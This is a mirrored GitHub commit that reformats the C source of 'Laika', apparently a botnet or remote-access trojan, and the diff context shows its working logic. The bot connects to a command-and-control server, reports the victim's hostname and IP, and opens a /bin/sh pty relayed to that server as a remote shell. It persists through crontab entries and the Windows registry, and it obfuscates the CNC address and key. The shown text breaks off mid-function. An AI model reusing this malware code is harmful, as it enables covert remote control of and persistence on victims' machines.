mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-03 14:50:18 +00:00
Added .clang-format, formatted codebase
This commit is contained in:
@@ -3,14 +3,15 @@
|
||||
|
||||
#include "laika.h"
|
||||
#include "lpacket.h"
|
||||
#include "lsocket.h"
|
||||
#include "lpeer.h"
|
||||
#include "ltask.h"
|
||||
#include "lpolllist.h"
|
||||
#include "lsocket.h"
|
||||
#include "lsodium.h"
|
||||
#include "ltask.h"
|
||||
|
||||
struct sLaika_shell;
|
||||
struct sLaika_bot {
|
||||
struct sLaika_bot
|
||||
{
|
||||
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
||||
struct sLaika_shell *shells[LAIKA_MAX_SHELLS];
|
||||
struct sLaika_pollList pList;
|
||||
@@ -23,9 +24,11 @@ struct sLaika_bot {
|
||||
struct sLaika_bot *laikaB_newBot(void);
|
||||
void laikaB_freeBot(struct sLaika_bot *bot);
|
||||
|
||||
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
|
||||
/* can throw a LAIKA_ERROR */
|
||||
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port);
|
||||
bool laikaB_poll(struct sLaika_bot *bot);
|
||||
|
||||
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
|
||||
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
|
||||
void *uData);
|
||||
|
||||
#endif
|
@@ -2,11 +2,13 @@
|
||||
#define LAIKA_SHELL_H
|
||||
|
||||
#include <stddef.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#define LAIKA_SHELL_TASK_DELTA 50
|
||||
|
||||
struct sLaika_bot;
|
||||
struct sLaika_shell {
|
||||
struct sLaika_shell
|
||||
{
|
||||
uint32_t id;
|
||||
};
|
||||
|
||||
@@ -19,13 +21,15 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
||||
|
||||
/* handles reading & writing to shell pipes */
|
||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);
|
||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf,
|
||||
size_t length);
|
||||
|
||||
/* packet handlers */
|
||||
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||
|
||||
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
|
||||
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task,
|
||||
clock_t currTick, void *uData);
|
||||
|
||||
#endif
|
@@ -1,32 +1,35 @@
|
||||
/* platform specific code for achieving persistence on linux */
|
||||
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/file.h>
|
||||
#include <pwd.h>
|
||||
|
||||
#include "persist.h"
|
||||
#include "lconfig.h"
|
||||
#include "lsocket.h"
|
||||
#include "lerror.h"
|
||||
#include "lbox.h"
|
||||
#include "lconfig.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "lsocket.h"
|
||||
#include "persist.h"
|
||||
|
||||
#include <pwd.h>
|
||||
#include <sys/file.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static int laikaB_lockFile;
|
||||
|
||||
/* check if laika is running as super-user */
|
||||
bool laikaB_checkRoot() {
|
||||
bool laikaB_checkRoot()
|
||||
{
|
||||
return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
|
||||
}
|
||||
|
||||
/* mark that laika is currently running */
|
||||
void laikaB_markRunning() {
|
||||
LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_LOCK_FILE);
|
||||
void laikaB_markRunning()
|
||||
{
|
||||
LAIKA_BOX_SKID_START(char *, filePath, LAIKA_LIN_LOCK_FILE);
|
||||
|
||||
/* create lock file */
|
||||
if ((laikaB_lockFile = open(filePath, O_RDWR | O_CREAT, 0666)) == -1)
|
||||
LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n", filePath);
|
||||
LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n",
|
||||
filePath);
|
||||
|
||||
/* create lock */
|
||||
if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0)
|
||||
@@ -37,7 +40,8 @@ void laikaB_markRunning() {
|
||||
}
|
||||
|
||||
/* unmark that laika is currently running */
|
||||
void laikaB_unmarkRunning() {
|
||||
void laikaB_unmarkRunning()
|
||||
{
|
||||
/* close lock */
|
||||
if (flock(laikaB_lockFile, LOCK_UN) != 0)
|
||||
LAIKA_ERROR("Failed to close file lock!\n");
|
||||
@@ -46,7 +50,8 @@ void laikaB_unmarkRunning() {
|
||||
LAIKA_DEBUG("file lock removed!\n");
|
||||
}
|
||||
|
||||
void getCurrentExe(char *outPath, int pathSz) {
|
||||
void getCurrentExe(char *outPath, int pathSz)
|
||||
{
|
||||
int sz;
|
||||
|
||||
/* thanks linux :D */
|
||||
@@ -56,7 +61,8 @@ void getCurrentExe(char *outPath, int pathSz) {
|
||||
outPath[sz] = '\0';
|
||||
}
|
||||
|
||||
void getInstallPath(char *outPath, int pathSz) {
|
||||
void getInstallPath(char *outPath, int pathSz)
|
||||
{
|
||||
struct stat st;
|
||||
const char *home;
|
||||
|
||||
@@ -66,8 +72,8 @@ void getInstallPath(char *outPath, int pathSz) {
|
||||
}
|
||||
|
||||
/* create install directory if it doesn't exist */
|
||||
LAIKA_BOX_SKID_START(char*, dirPath, LAIKA_LIN_INSTALL_DIR);
|
||||
LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_INSTALL_FILE);
|
||||
LAIKA_BOX_SKID_START(char *, dirPath, LAIKA_LIN_INSTALL_DIR);
|
||||
LAIKA_BOX_SKID_START(char *, filePath, LAIKA_LIN_INSTALL_FILE);
|
||||
snprintf(outPath, pathSz, "%s/%s", home, dirPath);
|
||||
if (stat(outPath, &st) == -1) {
|
||||
LAIKA_DEBUG("creating '%s'...\n", outPath);
|
||||
@@ -79,7 +85,8 @@ void getInstallPath(char *outPath, int pathSz) {
|
||||
LAIKA_BOX_SKID_END(filePath);
|
||||
}
|
||||
|
||||
bool checkPersistCron(char *path) {
|
||||
bool checkPersistCron(char *path)
|
||||
{
|
||||
char buf[PATH_MAX + 128];
|
||||
FILE *fp;
|
||||
bool res = false;
|
||||
@@ -99,8 +106,9 @@ bool checkPersistCron(char *path) {
|
||||
return res;
|
||||
}
|
||||
|
||||
void tryPersistCron(char *path) {
|
||||
LAIKA_BOX_SKID_START(char*, cronCMD, LAIKA_LIN_CRONTAB_ENTRY);
|
||||
void tryPersistCron(char *path)
|
||||
{
|
||||
LAIKA_BOX_SKID_START(char *, cronCMD, LAIKA_LIN_CRONTAB_ENTRY);
|
||||
char cmd[PATH_MAX + 128];
|
||||
|
||||
/* should be 'safe enough' */
|
||||
@@ -115,7 +123,8 @@ void tryPersistCron(char *path) {
|
||||
}
|
||||
|
||||
/* try to gain persistance on machine */
|
||||
void laikaB_tryPersist() {
|
||||
void laikaB_tryPersist()
|
||||
{
|
||||
char exePath[PATH_MAX];
|
||||
char installPath[PATH_MAX];
|
||||
|
||||
@@ -124,7 +133,8 @@ void laikaB_tryPersist() {
|
||||
getInstallPath(installPath, PATH_MAX);
|
||||
|
||||
/* move exe to install path (if it isn't there already) */
|
||||
if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 && rename(exePath, installPath))
|
||||
if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 &&
|
||||
rename(exePath, installPath))
|
||||
LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath);
|
||||
|
||||
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
|
||||
@@ -139,6 +149,7 @@ void laikaB_tryPersist() {
|
||||
}
|
||||
|
||||
/* try to gain root */
|
||||
void laikaB_tryRoot() {
|
||||
void laikaB_tryRoot()
|
||||
{
|
||||
/* stubbed */
|
||||
}
|
@@ -1,29 +1,32 @@
|
||||
/* platform specific code for opening shells in linux */
|
||||
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <pty.h>
|
||||
|
||||
#include "bot.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "ltask.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
#include <pty.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define LAIKA_LINSHELL_PATH "/bin/sh"
|
||||
|
||||
struct sLaika_RAWshell {
|
||||
struct sLaika_RAWshell
|
||||
{
|
||||
struct sLaika_shell _shell;
|
||||
int pid;
|
||||
int fd;
|
||||
};
|
||||
|
||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
|
||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
|
||||
{
|
||||
struct winsize ws;
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
||||
struct sLaika_RAWshell *shell =
|
||||
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
||||
|
||||
ws.ws_col = cols;
|
||||
ws.ws_row = rows;
|
||||
@@ -32,21 +35,22 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
|
||||
|
||||
if (shell->pid == 0) {
|
||||
/* child process, clone & run shell */
|
||||
execlp(LAIKA_LINSHELL_PATH, "sh", (char*) NULL);
|
||||
execlp(LAIKA_LINSHELL_PATH, "sh", (char *)NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
/* make sure our calls to read() & write() do not block */
|
||||
if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
|
||||
laikaB_freeShell(bot, (struct sLaika_shell*)shell);
|
||||
laikaB_freeShell(bot, (struct sLaika_shell *)shell);
|
||||
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
|
||||
}
|
||||
|
||||
return (struct sLaika_shell*)shell;
|
||||
return (struct sLaika_shell *)shell;
|
||||
}
|
||||
|
||||
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
||||
{
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||
|
||||
/* kill the shell */
|
||||
kill(shell->pid, SIGTERM);
|
||||
@@ -57,13 +61,14 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
|
||||
/* ====================================[[ Shell Handlers ]]===================================== */
|
||||
|
||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
|
||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
||||
{
|
||||
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
|
||||
struct sLaika_peer *peer = bot->peer;
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||
|
||||
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t));
|
||||
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t));
|
||||
|
||||
if (rd > 0) {
|
||||
/* we read some input! send to cnc */
|
||||
@@ -82,10 +87,12 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
return true;
|
||||
}
|
||||
|
||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
|
||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
|
||||
size_t length)
|
||||
{
|
||||
struct sLaika_peer *peer = bot->peer;
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||
size_t nLeft;
|
||||
int nWritten;
|
||||
|
||||
|
@@ -1,19 +1,23 @@
|
||||
#include "bot.h"
|
||||
|
||||
#include "lbox.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "lsodium.h"
|
||||
#include "lerror.h"
|
||||
#include "lbox.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
{
|
||||
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||
|
||||
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
||||
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"));
|
||||
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n",
|
||||
(endianness ? "TRUE" : "FALSE"));
|
||||
}
|
||||
|
||||
void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
{
|
||||
LAIKA_DEBUG("got ping from cnc!\n");
|
||||
/* stubbed */
|
||||
}
|
||||
@@ -48,17 +52,19 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
|
||||
/* clang-format on */
|
||||
|
||||
/* socket event */
|
||||
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) {
|
||||
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData)
|
||||
{
|
||||
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
|
||||
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||
|
||||
laikaS_kill(&bot->peer->sock);
|
||||
}
|
||||
|
||||
/* ==========================================[[ Bot ]]========================================== */
|
||||
|
||||
struct sLaika_bot *laikaB_newBot(void) {
|
||||
LAIKA_BOX_SKID_START(char*, cncPubKey, LAIKA_PUBKEY);
|
||||
struct sLaika_bot *laikaB_newBot(void)
|
||||
{
|
||||
LAIKA_BOX_SKID_START(char *, cncPubKey, LAIKA_PUBKEY);
|
||||
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
|
||||
struct hostent *host;
|
||||
char *tempINBuf;
|
||||
@@ -66,16 +72,11 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
int i;
|
||||
|
||||
laikaP_initPList(&bot->pList);
|
||||
bot->peer = laikaS_newPeer(
|
||||
laikaB_pktTbl,
|
||||
&bot->pList,
|
||||
laikaB_onPollFail,
|
||||
(void*)bot,
|
||||
(void*)bot
|
||||
);
|
||||
bot->peer =
|
||||
laikaS_newPeer(laikaB_pktTbl, &bot->pList, laikaB_onPollFail, (void *)bot, (void *)bot);
|
||||
|
||||
laikaT_initTaskService(&bot->tService);
|
||||
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void*)bot);
|
||||
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void *)bot);
|
||||
|
||||
/* init shells */
|
||||
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
||||
@@ -112,7 +113,7 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
LAIKA_ERROR("gethostbyname() failed!\n");
|
||||
}
|
||||
|
||||
if ((tempINBuf = inet_ntoa(*((struct in_addr*)host->h_addr_list[0]))) == NULL) {
|
||||
if ((tempINBuf = inet_ntoa(*((struct in_addr *)host->h_addr_list[0]))) == NULL) {
|
||||
laikaB_freeBot(bot);
|
||||
LAIKA_ERROR("inet_ntoa() failed!\n");
|
||||
}
|
||||
@@ -123,7 +124,8 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
return bot;
|
||||
}
|
||||
|
||||
void laikaB_freeBot(struct sLaika_bot *bot) {
|
||||
void laikaB_freeBot(struct sLaika_bot *bot)
|
||||
{
|
||||
int i;
|
||||
|
||||
/* clear shells */
|
||||
@@ -138,7 +140,8 @@ void laikaB_freeBot(struct sLaika_bot *bot) {
|
||||
laikaM_free(bot);
|
||||
}
|
||||
|
||||
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
||||
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port)
|
||||
{
|
||||
struct sLaika_socket *sock = &bot->peer->sock;
|
||||
|
||||
/* setup socket */
|
||||
@@ -153,17 +156,23 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
||||
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
|
||||
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
|
||||
laikaS_writeByte(sock, LAIKA_OSTYPE);
|
||||
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
|
||||
|
||||
/* write public key */
|
||||
laikaS_write(sock, bot->pub, sizeof(bot->pub));
|
||||
laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN);
|
||||
laikaS_write(sock, bot->peer->inet, LAIKA_INET_LEN);
|
||||
laikaS_endOutPacket(bot->peer);
|
||||
laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */
|
||||
|
||||
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0)
|
||||
/* after the cnc receives our handshake, our packets will be encrypted */
|
||||
laikaS_setSecure(bot->peer, true);
|
||||
|
||||
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv,
|
||||
bot->peer->peerPub) != 0)
|
||||
LAIKA_ERROR("failed to gen session key!\n");
|
||||
}
|
||||
|
||||
bool laikaB_poll(struct sLaika_bot *bot) {
|
||||
bool laikaB_poll(struct sLaika_bot *bot)
|
||||
{
|
||||
struct sLaika_pollEvent *evnt;
|
||||
int numEvents;
|
||||
|
||||
@@ -184,8 +193,10 @@ bool laikaB_poll(struct sLaika_bot *bot) {
|
||||
return true;
|
||||
}
|
||||
|
||||
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
|
||||
void *uData)
|
||||
{
|
||||
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||
|
||||
laikaS_emptyOutPacket(bot->peer, LAIKAPKT_PINGPONG);
|
||||
}
|
@@ -1,26 +1,31 @@
|
||||
#include <stdio.h>
|
||||
|
||||
#include "bot.h"
|
||||
#include "lbox.h"
|
||||
#include "lconfig.h"
|
||||
#include "lerror.h"
|
||||
#include "ltask.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
#include "persist.h"
|
||||
#include "shell.h"
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
#ifdef _WIN32
|
||||
# ifndef DEBUG
|
||||
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) {
|
||||
# else
|
||||
int main() {
|
||||
# endif
|
||||
#ifndef DEBUG
|
||||
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
|
||||
{
|
||||
#else
|
||||
int main() {
|
||||
int main()
|
||||
{
|
||||
#endif
|
||||
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left in memory the entire time.
|
||||
not only that but they're only obfuscating the ip & port, both are things anyone would see from opening wireshark */
|
||||
LAIKA_BOX_SKID_START(char*, cncIP, LAIKA_CNC_IP);
|
||||
LAIKA_BOX_SKID_START(char*, cncPORT, LAIKA_CNC_PORT);
|
||||
#else
|
||||
int main()
|
||||
{
|
||||
#endif
|
||||
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left
|
||||
in memory the entire time.
|
||||
not only that but they're only obfuscating the ip & port, both are things anyone would see
|
||||
from opening wireshark */
|
||||
LAIKA_BOX_SKID_START(char *, cncIP, LAIKA_CNC_IP);
|
||||
LAIKA_BOX_SKID_START(char *, cncPORT, LAIKA_CNC_PORT);
|
||||
struct sLaika_bot *bot;
|
||||
|
||||
#ifdef LAIKA_PERSISTENCE
|
||||
|
@@ -1,24 +1,28 @@
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
|
||||
#include "bot.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
|
||||
{
|
||||
if (bot->activeShells++ > LAIKA_MAX_SHELLS)
|
||||
LAIKA_ERROR("Failed to allocate new shell, max shells reached!\n");
|
||||
|
||||
/* start shell task */
|
||||
if (!bot->shellTask)
|
||||
bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot);
|
||||
bot->shellTask =
|
||||
laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void *)bot);
|
||||
|
||||
return bot->shells[id] = laikaB_newRAWShell(bot, cols, rows, id);
|
||||
}
|
||||
|
||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell)
|
||||
{
|
||||
uint32_t id = shell->id;
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
@@ -39,8 +43,9 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
|
||||
/* ====================================[[ Packet Handlers ]]==================================== */
|
||||
|
||||
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
{
|
||||
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||
struct sLaika_shell *shell;
|
||||
uint32_t id;
|
||||
uint16_t cols, rows;
|
||||
@@ -61,8 +66,9 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
||||
}
|
||||
}
|
||||
|
||||
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
{
|
||||
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||
struct sLaika_shell *shell;
|
||||
uint32_t id;
|
||||
|
||||
@@ -76,31 +82,34 @@ void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
|
||||
laikaB_freeShell(bot, shell);
|
||||
}
|
||||
|
||||
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
{
|
||||
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||
struct sLaika_shell *shell;
|
||||
uint32_t id;
|
||||
|
||||
/* read data buf */
|
||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
||||
laikaS_read(&peer->sock, buf, sz-sizeof(uint32_t));
|
||||
laikaS_read(&peer->sock, buf, sz - sizeof(uint32_t));
|
||||
|
||||
/* sanity check shell */
|
||||
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
|
||||
|
||||
/* write to shell */
|
||||
laikaB_writeShell(bot, shell, buf, sz-sizeof(uint32_t));
|
||||
laikaB_writeShell(bot, shell, buf, sz - sizeof(uint32_t));
|
||||
}
|
||||
|
||||
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task,
|
||||
clock_t currTick, void *uData)
|
||||
{
|
||||
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||
struct sLaika_shell *shell;
|
||||
int i;
|
||||
|
||||
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
||||
if ((shell = bot->shells[i]))
|
||||
laikaB_readShell(bot, shell);
|
||||
laikaB_readShell(bot, shell);
|
||||
}
|
||||
}
|
@@ -1,28 +1,30 @@
|
||||
/* platform specific code for achieving persistence on windows (FORCES ASCII) */
|
||||
|
||||
#include <windows.h>
|
||||
#include <shlobj.h>
|
||||
#include <shlwapi.h>
|
||||
#include <windows.h>
|
||||
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
|
||||
#include "persist.h"
|
||||
#include "lconfig.h"
|
||||
#include "lmem.h"
|
||||
#include "lerror.h"
|
||||
#include "lvm.h"
|
||||
#include "lbox.h"
|
||||
#include "lconfig.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "lvm.h"
|
||||
#include "persist.h"
|
||||
|
||||
HANDLE laikaB_mutex;
|
||||
|
||||
/* check if laika is running as super-user */
|
||||
bool laikaB_checkRoot() {
|
||||
bool laikaB_checkRoot()
|
||||
{
|
||||
return true; /* stubbed for now */
|
||||
}
|
||||
|
||||
/* mark that laika is currently running */
|
||||
void laikaB_markRunning() {
|
||||
LAIKA_BOX_SKID_START(char*, mutex, LAIKA_WIN_MUTEX);
|
||||
void laikaB_markRunning()
|
||||
{
|
||||
LAIKA_BOX_SKID_START(char *, mutex, LAIKA_WIN_MUTEX);
|
||||
|
||||
laikaB_mutex = OpenMutexA(MUTEX_ALL_ACCESS, false, mutex);
|
||||
|
||||
@@ -37,11 +39,13 @@ void laikaB_markRunning() {
|
||||
}
|
||||
|
||||
/* unmark that laika is currently running */
|
||||
void laikaB_unmarkRunning() {
|
||||
void laikaB_unmarkRunning()
|
||||
{
|
||||
ReleaseMutex(laikaB_mutex);
|
||||
}
|
||||
|
||||
HKEY openReg(HKEY key, LPCSTR subKey) {
|
||||
HKEY openReg(HKEY key, LPCSTR subKey)
|
||||
{
|
||||
HKEY hKey;
|
||||
|
||||
if (RegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
@@ -51,7 +55,8 @@ HKEY openReg(HKEY key, LPCSTR subKey) {
|
||||
}
|
||||
|
||||
/* returns raw string value from registry */
|
||||
LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) {
|
||||
LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz)
|
||||
{
|
||||
LPSTR str = NULL;
|
||||
DWORD ret;
|
||||
|
||||
@@ -69,14 +74,16 @@ LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) {
|
||||
return str;
|
||||
}
|
||||
|
||||
void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz) {
|
||||
void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz)
|
||||
{
|
||||
LONG code;
|
||||
|
||||
if ((code = RegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
|
||||
LAIKA_ERROR("Failed to write registry!\n");
|
||||
}
|
||||
|
||||
void getExecutablePath(LPSTR path) {
|
||||
void getExecutablePath(LPSTR path)
|
||||
